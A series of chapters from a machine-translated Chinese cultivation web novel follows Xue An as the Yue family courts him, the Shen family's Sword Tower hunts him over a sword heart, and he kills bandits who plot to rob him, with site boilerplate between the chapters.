    "Xue An, what I said to you in the Pantheon has always been valid. Are you interested in joining my Yue family?"


    Xue An also shook his head seriously, "I''m sorry, I can''t join!"


    Although it had been predicted, Yue Shifang''s eyes were still disappointed, but he said immediately.


    "Well, if that''s the case, then I won''t be tough, but I hope you''d better not shirk if you have a position!"


    "The Yue Family Commander?"


    "Yes!"


    "But the key is that I have decided to leave now, how can I serve as the commander in charge?" Xue An asked with doubts on his face.


    "This is not important, the important thing is that as long as you are still the leader of my Yue family!"


    Xue An took a deep look at Yue Shifang, "What are you going to do, let''s just say it now!"


    "Sure enough, I can''t hide anything from you, yes, I do have something, because just three years later, it will be the time when the Hundred Schools Conference will be held once in a hundred years, and the soldiers have been absent for thousands of years because of the split ...."


    "So you hope that I will also participate by then? As the leader of the Yue family?" Xue An said directly without waiting for Yue Shifang to finish.


    "That''s right! Because this will be the first Hundred Schools Conference after the unification of military strategists. It is of great significance, so...tell me your answer."


    Xue An smiled, "Why me? You know I am just a mere immortal, this cultivation level is not enough to see among the hundreds of strong people!"


    "Because your talent and potential are the only things I have seen in my life, not to mention that there are still three years away from the Hundred Schools Conference. This time may not be a big deal to other practitioners!"


    "But for you, it''s very likely that there will be a radical change."


    "Hehe, are you so confident in me?" Xue An chuckled lightly.


    "This is not confidence in you, but confidence in my own vision!"


    Xue An narrowed his smile, then rushed towards Yue Shifang and nodded solemnly.


    "Well, in that case, then I promise you!"


    Xue An is gone.


    Before leaving, he left the tea set on the table to Yue Shifang.


    And when the shadow of the flower swayed with the wind and shook the moonlight in the courtyard, a beautiful shadow walked out of the shadow and slowly came to the table.


    When the moonlight shone on her face, a beautiful face appeared, and it was Yue Qinghuan.


    She sat down slowly, with tears in her eyes.


    Yue Shifang sighed, "Huan''er, you have seen it too. I don''t want to say it for you, but the key is that Xue An has made up his mind. Once such a person makes up his mind, it will be extremely difficult to change!"


    "Especially this guy is extremely smart, I even suspect that he actually knew you were hiding in the corner, so the first paragraph should have been deliberately said to you!"


    Yue Qinghuan didn''t say a word, but gently stroked the tea set on the table with blurred eyes.


    After a long time, she nodded.


    "Okay, I get it!"


    "Hey, Huan''er, I..." Yue Shifang just wanted to explain to his sister a few more words.


    But at this moment, Yue Qinghuan suddenly raised his eyes and looked at Yue Shifang with bright eyes.


    "Brother, I want to retreat!"


    Yue Shifang was stunned, "What? Retreat?"


    "Yes!" Yue Qinghuan nodded.


    "I plan to retreat for three years! When the Hundred Schools Conference is held, I will go out again!"


    Yue Shifang: "..."


    Then he smiled bitterly, "Why is this? You know that retreat is very tormenting, and a little careless mood will cause problems, especially in your current situation, which is even more dangerous, so..."


    "I don''t care about those, I just want to retreat, and it''s a retreat!"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the update speed is the fastest from Dad Xianzun.

 Chapter 2368： Shenjiajian Tower

    "Invincible, start with Dad Xianzun (!


    Here is the real prosperous land of Xinghai.


    Countless commercial roads gather here, and a large number of commercial ships pass by every day, making this place extremely prosperous.


    And in the depths of this blossoming star sea, a pale green planet is quietly suspended.


    This planet is not big, and it looks like nothing from the outside, but when you get closer, you will be surprised to find it.


    Just under the seemingly calm surface of this planet, countless horrible auras lurked unexpectedly.


    Anyone who dared to trespass here would be completely cut off by a sword light that didn''t know where it came from.


    No, just when Su Fei was shocked, he witnessed a huge meteorite flying past the gravitational edge of the planet, only to be hit by a sword light.


    Then this huge boulder with a diameter of a hundred miles disintegrated into nothingness at an incredible speed.


    Seeing this scene, even Su Fei couldn''t help being surprised secretly, and his behavior became much more cautious.


    "Who!" A soft drink sounded from his ears.


    Su Fei hurriedly stood still, and said respectfully: "Su Fei, the son of Su''s family, is shocked. I have something to ask for the Shen family leader!"


    The identity of Su''s son is enough to make him respected anywhere in the sky.


    This voice alone remained unmoved.


    "Where is the greeting?"


    "At this!"


    Su Fei hurriedly took out the greeting stickers from his arms and put his hands up.


    A faint sword light flew in the diagonal thorn, provoked this greeting sticker and flew into the void ahead.


    "I''ll go inside to report, you are here to wait honestly, if there is any change, kill without mercy!"


    "Yes!"


    Su Fei didn''t dare to have any objections, and stood there obediently waiting.


    Because he knew very well that his identity was nothing compared to the existence he was about to see.


    Tianwaitianzhong is so cruel, strength and status represent everything.


    So even if he is always arrogant and domineering, he dare not complain at the moment.


    After waiting for a cup of tea, the voice just said, "Okay, go in! Remember, don''t look around during the whole process, just follow this sword light!"


    As he said, a sword light appeared in Su Fei''s startled vision, and the tip of the sword pointed straight ahead.


    "Understood! Thank you!"


    Su Fei hurriedly thanked him, and then flew in according to the guidance of this sword light.


    His speed is not fast, because even with the guidance of this sword light, he can still feel the terrifying murderous intent under the seemingly calm surface around him.


    This feeling was like walking through thousands of sword forests, making his hairs stand up.


    It wasn''t until finally passing through the barriers and entering the planet''s atmosphere that Su Fei was surprised and secretly breathed a sigh of relief.


    Then what came into view was a huge continent.


    This continent occupies almost half of the entire planet and is surrounded by sea water.


    And in the middle of this continent, a tall skyscraper resembling a sword-like building was impressively built.


    Su Fei was shocked, his whole body trembled, because just glanced at it, Su Fei was shocked to feel his eyes tingling.


    His heart couldn''t help being shocked.


    How many heaven-defying existences lurked in this building, and even Ling Jianwei was so violent.


    Su Fei took a deep breath, then suppressed the boiling blood, and walked towards this tall building.


    The reason why he didn''t fly was because the rules of sword power in this world were unbelievably powerful, and apart from sword repair, it was impossible for any cultivator to use his own cultivation.


    So he can only step forward honestly.


    Although it was walking, he came to this tall building very quickly at his speed.


    But on the plaque of the high-rise building, there are two characters of dragon flying and phoenix dancing impressively.


    Sword Tower!


    Su Fei was shocked and trembling slightly, his face appeared in awe.


    Because what he is facing now is an almost legendary place for nearly a thousand years.


    Shenjia Jianlou!


    At this moment, Su Fei suddenly felt a flower in front of him, and the scene in front of him changed accordingly, and he actually came to a tall room.


    In the middle of the room is a high platform, on which a shadow is faintly shaking, but because the distance is too far, it is difficult to see clearly.


    Su Fei just glanced in surprise, and then hurriedly lowered his head deeply.


    "Su Fei, the son of Su''s family, was shocked and saw the head of the Shen family and the elders!"


    "Let''s go, your Su family suddenly came to see me, what''s the matter?" A calm voice came from Gaotaizhi.


    At first glance, this voice sounded without any power, as if an ordinary person was talking to you.


    But it was such an indifferent voice that caused Su Fei''s heartbeat to stop for a while, and even had an urge to worship.


    He knew that this was because the speaker''s cultivation level was too high and his power was too powerful, which caused a simple sentence to imply the way of heaven, which produced an effect similar to how to speak.


    This couldn''t help Su Fei becoming more and more in awe, and said in a trembled voice.


    "Returning to Lord Shen''s family, I''m here today to tell you one thing. Someone has a sword heart of Shen''s family in their hands!"


    As soon as this statement came out, there was a burst of boiling on the high platform.


    "What? This is absolutely impossible!"


    "That''s right, everyone in the Shen family who can condense the sword heart is a superb cultivation base, how could it be held by someone?"


    Amidst the discussion, Su Fei felt astonished that there was someone on the high platform suddenly opening his eyes, and staring at him coldly.


    This invisibly gave him tremendous pressure, and his complexion instantly turned pale.


    "You said someone holds the Shen Family Jianxin, is this true?"


    "It''s true! How dare I make a joke about this kind of thing?"


    "Check it out!" the voice said lightly.


    "Yes!" someone responded immediately.


    After a while, the person said: "Go home, I just checked with my spirit, and all the Shen family disciples are there, nothing unusual!"


    "Oh? How do you explain this?" The voice said playfully.


    Su Fei instantly burst into cold sweat on his startled forehead, and stammered: "What I said is indeed true. If you don''t believe me, you can watch this!"


    As he said, he trembling hands opened a water curtain of light and shadow.


    A picture of Xue An holding a small Yin Hong sword suddenly appeared above.


    After seeing this scene, the high platform instantly boiled.


    "It is indeed Shen Jia Jianxin!"


    "What''s going on? Is there an outflow of blood from the Shen family?"


    At this moment, a figure suddenly appeared in front of Su Fei Jing, condescendingly.


    "Where did you get this light and shadow?"


    Su Fei didn''t dare to look at this person''s gaze directly. UU Reading lowered his head deeply, and said in a trembled voice: "This is what I encountered before Luoshengu!"


    With that said, Su Fei was shocked and told how he encountered Xue An in the Valley of the Fallen God.


    After listening to it, this obscure figure fell silent.


    Then he slowly raised his head, staring at Xue An in the light and shadow of the water curtain and the Yin Hong sword in his hand.


    "I think, I know who this is?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2368 Shen Jiajian Building), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2369： Union Rally

    Su Fei secretly wiped cold sweat with surprise.


    He was really frightened just now, especially when the figure appeared in front of him, his breath became swift when he was oppressed by the mighty sword.


    Fortunately, this is a right bet!


    I don''t know what reward this Shen Family Patriarch will give him?


    Su Fei couldn''t help but start thinking about it.


    But at this moment, another figure appeared in front of the light and shadow of the water curtain, and said in a rather excited voice.


    "Is it the line of the old lady?"


    "Yes, it''s the line of Jing''er, but the aura in this sword''s heart is obviously not her, if I guess correctly, it should be her descendant blood!"


    As soon as this sentence came out, the audience was silent.


    Because many parents and elders of Shen have fallen into infinite horror.


    This is a great secret.


    It even involved a huge disturbance in the Shen family.


    "The traces of the eldest lady finally appeared..." The figure that appeared later murmured with excitement.


    Immediately afterwards, the mist on his face dissipated, and an old face appeared, but above this old face were a pair of dazzling eyes.


    At this time, these eyes were full of complex emotions.


    There is joy, there is rejoicing, and there is awe!


    But gradually, these emotions dissipated and transformed into monstrous anger.


    "There are people who dare to hold the Jianxin of the Shen family and use it as a weapon, even if they are only the descendants of the exiles, they still cannot forgive them!


    "Yes, this matter must be investigated clearly, otherwise if he waits for him to wake up and learn about it..."


    When the word him was mentioned, even this Patriarch had a hint of awe in his voice.


    As for the other elders in the field, it is no exception.


    The old man said solemnly: "It shouldn''t be too late. There will be a Hundred Families Conference in another three years. The Second Young Master will definitely leave the customs. If we can''t investigate clearly then, no one will be able to bear the consequences!"


    "and so����."


    The old man thought for a moment, and his hand waved a sword light.


    But in an instant, there was another person in the room.


    This person is not very old, he is dressed in black, his face is stern, and his eyes are full of murderous intent.


    "I have seen the big shopkeeper!" The young man bowed and saluted.


    "Shen Gaoge, you capture this person back and investigate clearly what happened to the sword heart in his hand!"


    "Yes!" Shen Gaoge answered without hesitation.


    Then the big shopkeeper turned around slowly, and smiled at Su Fei who had fallen into a sluggish state.


    "It''s a little bit of Rausu, this is a little thanks!"


    Following the voice, a jade talisman fell into Su Feijing''s hands.


    Su Fei was shocked and excited.


    Although I didn''t check it carefully, only from the powerful aura contained in this jade talisman, you can know that this is definitely a treasure.


    "This jade talisman was made by me personally, and it contains a sword intent of mine. It can be used to protect yourself in critical moments!"


    Upon hearing this, Su Fei was even more excited and almost fainted.


    This is the great treasurer of the Shen family!


    How precious is the jade talisman that contains his sword intent?


    Just as he was ecstatic, the great elder said softly: "But there must be Young Master Lao Su to follow Gao Ge to find this person. After all, you have seen him with your own eyes, do you have time?"


    "Yes!" Su Fei nodded in surprise as if to pound garlic.


    "Well!"


    The Shen family''s big shopkeeper smiled, then raised his hand and pierced into the light and shadow of the water curtain.


    The light and shadow of the water curtain immediately rippled, but the brilliance in his eyes became brighter and brighter.


    After a while, the light and shadow of the water curtain shattered suddenly.


    But a faint shadow appeared on the fingertips of the Shen family''s big treasurer.


    Then this Su Family treasurer showed a solemn expression on his face, opened his mouth and swallowed the faint shadow, closed his eyes and meditated.


    With his meditation, the sword power around him began to boil.


    Suddenly!


    But seeing him suddenly opened his eyes, and then went a little into the void.


    "According to that breath, this person should be here now!"


    Following the voice, a huge star map appeared under his fingertips, and the fingertips of the treasurer of the Shen family happened to be in one place.


    There was a low noise in the audience.


    The vague figure on the side sneered, "It is the location of the Pharmacist Alliance. It seems that this guy is quite good at joining in the fun, and he ran there!"


    The upcoming rally of the Pharmacist Alliance is well known in the world, so in the eyes of everyone in the Shen family, it is not surprising that this person went there.


    "Shen Gaoge, do you have any objections?" Shen''s treasurer said coldly.


    "No!"


    "Then go, I want to know the reason for everything as soon as possible!"


    "Yes!"


    After a while, I saw a bright sword light across the sky, leaving the planet, and rushing to the direction of the Pharmacist Alliance.


    At this moment, Xue An, Cha Wenliang, and Ao Shu also arrived at the location of the Pharmacist Alliance.


    The headquarters of the Pharmacist Alliance is a galaxy, although it is not as large as the Soldiers'' galaxy, it is quite impressive.


    After all, when it comes to the rich and the rich, there may be few forces in the entire Tianwaitian that can compare to the Alliance of Pharmacists.


    At this time, the already very busy Pharmacist Alliance galaxy was full of people, and the flow of ships was at least ten times more lively than usual.


    "How about it? It''s lively?" Cha Wenliang said proudly.


    Xue An looked at the star road that was already jammed in the distance, smiled and did not speak.


    The day after the Yue family celebration dinner, he bid farewell to the Yue family, and followed Cha Wenliang on the itinerary to the Alliance of Pharmacists.


    Today finally arrived here, but Xue An was very calm.


    On the contrary, Ao Shu looked around with excitement.


    "Master, are so many people here to participate in the Pharmacist Alliance rally?"


    "Of course! You have to know that the rallies of the Pharmacist Alliance are not held at all times, and the time is not fixed. Sometimes it does not happen once in a hundred years. This time it is more than three hundred years! So the news came out. , Naturally detonated the entire sky!"


    "Wow, this is fun!" Ao Shu said happily, "Then where are we going now?"


    "Naturally find a place to stay first! After all, there are still a few days before the official start of the rally. You can just stroll around. After the official start, I will go to the Pharmacist Alliance to report. Then there will be less freedom!"


    Ao Shu naturally had no objections.


    As for Xue An, he had been staring at the emptiness that came and went, not knowing what he was thinking.


    Soon, the three of them landed on a planet closer to the center of the Pharmacist galaxy.


    Because of the arrival of the rally, this well-positioned planet is also very lively.


    This can be seen from the hustle and bustle that rushed out of the flying boat.


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, starting with Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, Xinshuhaige novel net has the fastest update speed.

 Chapter 2370： Before the assembly

    "Invincible, start with Dad Xianzun (!


    But seeing all kinds of stalls on the ground, the sound of selling is endless.


    The slightly higher-end shops float in the sky, forming a spectacular scenery.


    Even Cha Wenliang couldn''t help but smack slightly after seeing this scene.


    "This year''s rally is obviously much more lively than in previous years!"


    Ao Shu''s eyes beamed with excitement.


    After all, a woman''s nature is to love shopping, no matter what race or age, there are almost no exceptions.


    "Master, let''s quickly find a place to settle down, and then go shopping!"


    For this precious apprentice, Cha Wenliang also showed a rare gentleness, nodding with a smile: "Okay!"


    In fact, almost all the hotels on this planet are already full at this moment, but it is difficult to find Cha Wenliang who is a veteran member of the Pharmacist Alliance.


    He took out a jade plaque and handed it to the shopkeeper of an inn, and then they moved in smoothly.


    After settling down, Ao Shu couldn''t wait to say to Xue An: "Brother An, let sister Yan come out with two little girls. It''s a busy time outside, let''s go shopping together!"


    Actually, there is no need to say that Xue An also plans to give the two little girls a few days off, so that they can relax.


    So Xue An opened the Fubao Xiaolou in the Sea of ??Knowledge, and soon An Yan flew out of it with longing.


    "Dad, sister Ao Shu!" the two little girls yelled sweetly.


    In fact, Ao Shu Guan Xue An and An Yan are both elder brothers and sisters, so they should call aunts.


    But Ao Shu resolutely refused, because she felt that she was old as soon as she was called an aunt.


    I don''t know why as a dragon, with a long life, she is so afraid of others saying that she is old.


    "Oh, the two little beauties are beautiful again!"


    As he said, Ao Shu squeezed their faces with a smile.


    The three of them laughed and made a group soon, and then happily walked into the bazaar.


    Although the formal gathering has not yet started, this does not hinder the excitement here.


    But seeing the market stalls row upon row, the goods are even more dazzling.


    Medicinal materials, spirit pills, cheats, jade slips, weapons...


    There is even a treasure map.


    Of course, in addition to these more serious goods, there are also many weird and quirky gadgets that are very popular with girls.


    When they saw these, the two little girls couldn''t move.


    "Dad, this is so cute!"


    "Dad, I want this!"


    "father��."


    No matter what these two little girls say, Xue An''s response will always be only one word, that is, buy!


    With this crazy purchase, it soon came to the beginning of Hua Deng.


    With the lighting of the shops that occupy the entire sky, the excitement of the entire planet has also reached its peak.


    "Are you hungry?" Xue An asked.


    The two little girls nodded together, "Hmm! So hungry!"


    "Go, Dad will take you to dinner!"


    "Oh!"


    Since I have to take my two daughters for dinner, I can''t make do with it.


    Xue An led a group of people up into the sky.


    The shops in the sky are also divided into grades. The higher-end, high-grade shops are located, so Xue An simply led the family directly to the highest place.


    Apart from a few shops selling high-end medicinal materials and immortality, it is a restaurant that is the most conspicuous.


    At the moment it was time to eat, and the restaurant was brightly lit and very lively.


    Even though they are far apart, you can still smell the rich aroma coming from the building.


    When I came closer, I saw a plaque hanging above the restaurant with three characters written on it.


    Medicinal food workshop!


    "Taste it here today!"


    Saying that Xue An took a step and walked inside.


    As soon as he walked in, a shopkeeper greeted him graciously.


    "Are several guest officials using rice?"


    Xue An nodded, and then his gaze swept across the lobby on the first floor.


    I saw the crowds full of friends and people talked and talked, and it seemed very noisy.


    "Are there still rooms?"


    "Yes, yes, but..."


    Before the second person in the shop finished speaking, Xue An said directly: "Then go to Yajian, it''s too messy here!"


    With that, Xue An threw a piece of spirit crystal over it.


    This shop Xiaoer took it in his hand, and just weighed it a little, and a more industrious smile appeared on his face.


    "Yes, yes! Please come with me!"


    With that said, he turned and rushed upstairs and shouted loudly: "Five VIPs on the second floor!"


    Xue An and his party climbed up the steps and walked upstairs.


    But when they went upstairs, in the corner of the hall on the first floor, a few pairs of cold eyes were staring at their backs.


    "Boss, this kid is very generous, it looks like he should be a fat sheep!" a man with a scar on his face whispered.


    "The key to this fat sheep is the cultivation base of Immortal Venerable!" a man with a pocky face echoed.


    On the side, there was a handsome man with a fair complexion but blue eyes, licking his lips, and said with a wicked smile on his face.


    "The two little ladies look pretty good, especially the one next to Fat Sheep, but they are absolutely top-notch!"


    "Really? Why do I think I look so average?" Scar man asked in confusion.


    "You know what a fart, these two girls obviously used spells to hide their true colors, so naturally they don''t look very good!" The man with rims sneered.


    "Then how do you see it?"


    "Nonsense, this little trick is so rare to read countless people? Although these two little girls are hidden by spells, but they are not in shape, they only have their slim and moving figures and the tenderness that can squeeze out the water. The skin can tell that these two are absolutely stunning!"


    Speaking of this, the face of the man under his eyes was greedy, and he turned his head to look at the man sitting in the upright position and did not speak from start to finish.


    "Boss, I think this vote is worth doing!"


    The man called the boss by everyone is not very old, and his facial features can be regarded as beautiful, but his complexion is very gloomy, especially his eyes, which are like beasts that choose people to eat, making people afraid to look directly.


    After listening to his subordinates'' speech, the man grinned.


    "Then do it, it just happens that our brothers just arrived here, and they are all a little tight. Since this old brother is so generous, it just happens to ask him to borrow some money to spend!"


    Both Scar and Mazi were excited.


    "Yes. It''s his blessing that we can ask him to borrow money!"


    The man with eye circles licked his lips, and Jie Jie smiled strangely: "In addition to borrowing money, I want to borrow these two little ladies for a few days!"


    "Count me too!"


    "Count me in!"


    Then these men let out a sneer of unbearable laughter. UU reading


    At the same time, in the private room on the second floor, Xue An suddenly frowned slightly.


    An Yan on the side felt it, and couldn''t help asking in a low voice: "What''s the matter?"


    "It''s okay! It''s just a grain of sand in the rice!" Xue An said lightly.


    sand?


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (before the Chapter 2370 assembly), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2371： The interest I want

    An Yan looked strangely at the steaming medicinal table.


    How could there be sand in such high-level meals exclusively for practitioners?


    "I''m full, you guys eat, I''ll go down first!"


    With that, Xue An stood up and walked out.


    An Yan got up and wanted to follow, Xue An shook his head gently at her.


    An Yan understood, and then sat back again.


    As for the two little girls and Ao Shu, they were devouring the medicated food on the table at the moment, and they didn''t even notice it.


    Xue An walked out of the private room, and the shop Xiaoer who was waiting in front of him immediately greeted him.


    "Do you have any instructions from the master?"


    "Oh it''s nothing, I just turn around when I''m full!"


    With that, Xue An threw another piece of spirit crystal in his hand.


    "I may have to come back later. You are waiting carefully for the people inside. You can eat whatever you want, understand?"


    "Yes, yes, I understand, don''t worry, I will serve several young ladies!" The shopkeeper nodded and bowed, his face full of joy.


    After all, the two spirit crystals that Xue An rewarded him today are worth the usual one month''s income.


    Xue An nodded, "By the way, if there are people waiting to enter the box..."


    The shop Xiaoer immediately said solemnly: "You can put one hundred and twenty hearts on this. Our medicated food workshop is not an ordinary place. No one dares not abide by the rules here!"


    Xue An smiled, "That''s good!"


    With that, he turned and walked downstairs.


    At the same time, when he saw his figure reappear in the lobby on the first floor, the men in the corner looked at each other, and all of them were eager to try.


    However, the boss gently shook his head, and then pointed his finger at the plaque outside.


    Beckon them to be safe and restless.


    These few had no choice but to suppress the thoughts in their hearts and prepare to wait for the opportunity.


    But they didn''t expect the opportunity to come so soon.


    But seeing Xue An walked through the hall on the first floor without anyone else, and walked outside.


    Seeing this, these people were overjoyed and immediately followed, but they were stopped at the door.


    "Sorry, some of you haven''t checked out yet!" a burly shopkeeper smiled.


    The boss snorted coldly, raised his hand and threw out a few scattered spirit crystals.


    The shop Xiaoer took it in his hand, but there was a sneer on his face, and then turned slightly to his side.


    The men rushed out immediately.


    But after such a delay, where is the slightest figure of Xue An?


    Several people are a little upset.


    But at this moment, he saw the scarred man pointing to the ground under his feet.


    "Is that that kid?"


    Everyone looked away.


    Sure enough, a figure in white clothes was walking on the ground in the distance.


    Mazi-nan was overjoyed when he saw this, "Good boy, you actually ran to the rally to hang out, you really deserve to be unlucky!"


    Everyone immediately landed on the ground.


    At this moment, among the distant crowd, Xue An was wandering leisurely.


    I saw him look at the stall on the left for a while, and then at the goods on the right, as if he was a leisurely and contented manner.


    There are many people here. Although these people are willing to work, they can only endure and follow behind silently.


    Soon, Xue An went shopping for most of the street, and it seemed that he wanted to continue shopping.


    The scarred man finally couldn''t hold back, "Boss, when are we going to follow this kid? If you want me to say, it''s better to tie him to a secluded place by hand, and after a few punishments, don''t worry about him Don''t speak!"


    "Yes, looking at this kid''s pustule look, it is estimated that we will have to pee after a little fright!" Mazi Nan also said.


    But the boss was still a little undecided, although after following this path, he had already determined that this white-clothed boy was indeed the immortal Venerable cultivation base.


    But somehow, there is always a lingering haze in his heart.


    This gave him a vague premonition.


    While he was hesitating to make a decision, he saw Xue An stepping out of the crowd, speeding up and walking forward.


    "Quick, keep up, don''t let him run away!"


    These people immediately followed.


    And Xue An seemed to have noticed that someone was tracking behind him, and the speed under his feet was getting faster and faster.


    Suddenly, he had left the bustling market and arrived at a remote place.


    Seeing this scene, the spirits of the people who followed were refreshed, and they were overjoyed.


    Isn''t this looking for death?


    The boss also relaxed his vigilance, speeding up his pace and rushing forward.


    In the blink of an eye, the distance between them and Xue An was much closer.


    Then the boss sneered: "Boy, if you still want to survive, I advise you better not to run forward!"


    As soon as the voice fell, I saw Xue An slowed down very obediently, and finally stopped in front of a deserted city wall, and slowly turned around.


    "Are you chasing me?"


    "Nonsense, who can you chase if you don''t chase?" The Scar Man grinned.


    "Boy, some of our brothers just came here, and they are all nervous, so I want to borrow some money from you, I don''t know if it will work!" Mazi said also.


    A look of fear appeared on Xue An''s face.


    "You...how much do you want to borrow?"


    "How much you want to borrow depends on how much you have! Of course, the more the better!"


    Seeing Xue An being so "honest", the arrogance of this pockmarked face became more and more arrogant, and even the voice of his words became a little louder.


    "I... I don''t have much in my hand, but there are... tens of thousands of high-grade spirit crystals!" Xue An said with "trembling". UU reading www. uukanshu.com


    "How much do you say?" The boss exclaimed.


    "It''s just tens of thousands..."


    The scar man, the pockmarked face, the man with rims, and the so-called boss, the four looked at each other, and they all saw the ecstasy in each other''s eyes.


    This is a huge wealth!


    Even the average small sect cannot have such a large sum of spirit crystals.


    This kid is really a fat sheep worthy of the name!


    Penalties were not even used, just a little frightened and the fright was all spoken out.


    Therefore, the four people immediately stabilized their minds. The boss stepped forward and said with a smirk: "This little brother, since you have tens of thousands of spiritual crystals, why not lend us all of them? Don''t worry, when the time comes I will definitely not treat you badly!"


    "Is there interest?"


    "Huh? What did you say?"


    "I said, is there interest?" Xue An asked, blinking.


    "Yes, there are! Of course there is, you say how much interest you want!" The boss promised repeatedly, but he was sneer in his heart.


    What a ghost who doesn''t know how to die. At this time, he still thinks about interest!


    Xue An also laughed at this time, and then said embarrassedly.


    "Actually, my interest rate is not high..."


    "Oh, what interest do you want and you can''t just say it! So what are the mothers-in-laws doing!" Scarman said impatiently.


    Xue An raised his head, still with a shy smile on his face.


    "The interest I want is just a few people''s heads!"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinshuhaige Novel.com. There are no advertisements in the site. Please also collect and recommend Xinshuhaige Novel.com!


    I like Invincible, starting with Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, Xinshuhaige novel net has the fastest update speed.

 Chapter 2372： Nightmare Town San

    "Invincible, start with Dad Xianzun (!


    As soon as these words came out, these people couldn''t help but change their colors.


    "Damn, you dare to utter such crazy words, it''s really looking for death!" the boss roared.


    Even though he said that, his figure was retreating sharply, and winked at his men.


    When these men heard the wind, they patted Xue An with several palms one after another.


    Boom boom boom!


    Accompanied by a loud noise, a bitter palm came straight to Xue An.


    The key is that the power of these palms is still handed over to each other, blocking all possible retreats for Xue An, and trapping him firmly.


    In the face of this combined blow, which was obviously honed for countless times, Xue An remained unmoved, even the faint smile on the corner of his mouth did not change.


    The man with scar, the man with pockmarked face, and the man with eye circles all saw a sneer on their faces.


    Faced with the combined blow of the three of his own, this kid actually dared to be big, really looking for death!


    But at this moment, Xue An slowly raised one palm and pushed forward.


    In an instant, it was like a gust of wind blowing, directly pushing back the palm power that the three people had blasted.


    Not only that, under the powerful force, these three people were still flying out, and they could not stand still until they withdrew dozens of steps.


    Seeing this scene, the boss''s complexion changed suddenly, and then he roared sharply.


    "Put your hands together, make a trick!"


    With an order, the three people immediately dispersed and surrounded Xue An.


    Xue An slowly put down his erected palm, raised his eyebrows slightly, and said with a smile but a smile: "A trick? What other tricks can you use?"


    Scar Man snorted. Although the blow just didn''t hurt him, it also made the blood in his chest boil. Therefore, after hearing Xue An''s question, he sneered.


    "Boy, I didn''t expect you to have this level of strength. Our brothers may have looked away, but do you really think you can beat us like this? You are too naive!"


    "Oh? In that case, do you have any further tricks?" Xue An said lightly.


    "Of course!" Scar Man raised his head, his face full of arrogance, and the brilliance in his eyes flickered at the same time.


    Because at this moment, the man with pockmarked face and under-eye circles had quietly stood still not far behind Xue An.


    "Do it!" Scar Man suddenly shouted.


    The three raised their hands together, and then three puffs of white smoke rose up in the field.


    The smoke diffused extremely fast, it almost gathered and merged in the blink of an eye, and enveloped Xue An firmly.


    As for the three people, they backed up quickly, as if the white smoke was something terrifying existence, lest it be contaminated.


    It wasn''t until they were evacuated to a safe zone that the three of them breathed a sigh of relief, and then a smile appeared on their faces.


    "Boy, how can you be as powerful as you are? This is the nightmare that was made by the venomous old man himself. As long as it exists under the saint, it will be weakened even if it is contaminated. If Xiaoxianzun can use such treasures, he can be regarded as looking down upon you!" The Scar Man sneered.


    The boss''s complexion was a little livid, and he suddenly turned his head and slapped Scar Man on the face.


    Snapped!


    The scared man with the slapped fan was a little dazed, and he covered his face and asked, "Boss, why are you hitting me?"


    "It''s you, don''t you know that the price of this nightmare town is extremely expensive? Actually used so much for this kid, what if it is not enough when we start?" the boss said bitterly.


    Scar Man covered his face a little aggrieved and did not dare to say anything.


    Mazilian smiled and persuaded: "Big brother, don''t be angry, this kid is full of oil and water, but it''s just a little bit of nightmare, and it can always recover the cost!"


    "That''s right, let''s do it now. First, clean up the oil and water on this kid, and then go back to the medicated restaurant to arrest the two beauties. This is the business!"


    When mentioning the two beauties, the man with rims was full of excitement.


    Hearing this, the boss''s anger only disappeared a lot, and then he said coldly: "Let''s not take it as an example, you are not allowed to waste it like this in the future!"


    "Yes!" the three of them responded in unison.


    Scar man couldn''t help but slandered in his heart.


    This boss is really stingy!


    But just when the stingy boss was about to disperse the nightmare town and seize Xue An.


    Suddenly!


    Amidst this vast expanse of nightmare town scattered, a mighty power soared into the sky, and in an instant all nightmare town scattered into the most basic particles.


    This sudden change stunned everyone.


    And just in their stupefying effort, they saw a bright sword light slashing out.


    Puff puff!


    After three muffled noises, the heads of the scarred man, the pockmarked face and the man with under-eye circles fell.


    Blood spewed out, splashing the closest boss, but he didn''t even dare to move.


    Because at this moment, a hand that was slender and slender than a woman had already strangled his throat.


    He had no doubt that if he moved slightly, this hand would definitely break his neck without hesitation.


    Therefore, he stood there stiffly, looking at the face of the cold-eyed teenager opposite, trying to make a faint smile at the corner of his mouth, but found that he couldn''t laugh at all.


    "Now I ask you to answer. If the answer satisfies me, I will give you a happy one, otherwise I will let you suffer endless pain like them before the soul is destroyed, understand?" Xue An said coldly.


    And following his voice, a brilliance floated involuntarily from the corpses of the scarred man, pockmarked face and the man with under-eye circles on the ground.


    A touch of shock appeared in the eyes of the stingy boss.


    Because that Guanghua is the soul of these three people.


    How is this going?


    Why didn''t they leave after their bodies were wiped out and were captured by this young man instead?


    When he was puzzled, a little flame suddenly appeared between Xue An''s eyebrows.


    A little flame that is nearly pure white.


    As soon as the flame came out, it was immediately divided into three strands, and then directly submerged in these three souls.


    There is no sound!


    Because the soul can''t make a sound.


    But despite this, the boss can still clearly feel the extreme pain of his three subordinates.


    Because their spirits have even been twisted into a twist shape, completely out of shape.


    But no matter how they struggled and twisted, UU Read couldn''t stop the flame from burning in their souls.


    Gradually, the spirits of the three of them began to become transparent, and then burst out fire from the five senses and seven orifices.


